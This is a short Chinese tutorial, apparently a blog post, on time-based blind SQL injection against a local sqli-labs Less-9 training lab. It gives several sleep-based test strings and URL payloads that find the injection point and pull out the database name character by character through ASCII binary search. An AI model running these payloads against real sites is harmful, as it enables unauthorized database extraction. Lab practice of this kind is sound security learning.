延时注入,用的最多的注入
常用的判断语句:
' and if(1=0,1, sleep(10)) --+
" and if(1=0,1, sleep(10)) --+
) and if(1=0,1, sleep(10)) --+
') and if(1=0,1, sleep(10)) --+
") and if(1=0,1, sleep(10)) --+
写这篇文章只是为了更好的理解延时注入的原理
进入本地搭建的靶场进行练习
不进行fuzz测试了,直接看源码
第一可知道为单引号存在注入,利用‘%23绕过
第二个不显示任何错误信息,也就无法通过回显或者不同页面判断注入是否成功,这样只能使用延时去判断了
测试注入点:
http://localhost/sqli-labs-master/Less-9/?id=1' and if(1=1,sleep(6),1)%23liy
利用if(条件,0,1)函数,当条件为真,返回0,假则返回1
在这里是‘ and 1=1 为真,延时6秒,假则直接返回(我电脑比较老所以直接返回也耗费一秒多),注入点和注入语句基本确定可使用。
那就进行注入传统步骤
爆数据库
http://localhost/sqli-labs-master/Less-9/?id=1' and if(ascii(substr(database(),1,1))>95,sleep(6),1)%23
利用二分法猜解数据库的每一个数据
二分法以此类推,116时直接返回页面。说明数据库第一个数据的ascii码为115,即为s,后面的数据同理,最后数据库名为‘security’
当然在爆数据库前最好先爆数据库长度
表、列、字段在前面一篇有介绍过相应语法,可自行查阅,这里就不继续演示了,但这里基本已经完成对延时注入的理解,当然实际环境中,很多常用的函数是会被过滤的,需要你们自己去百度看看如何绕过。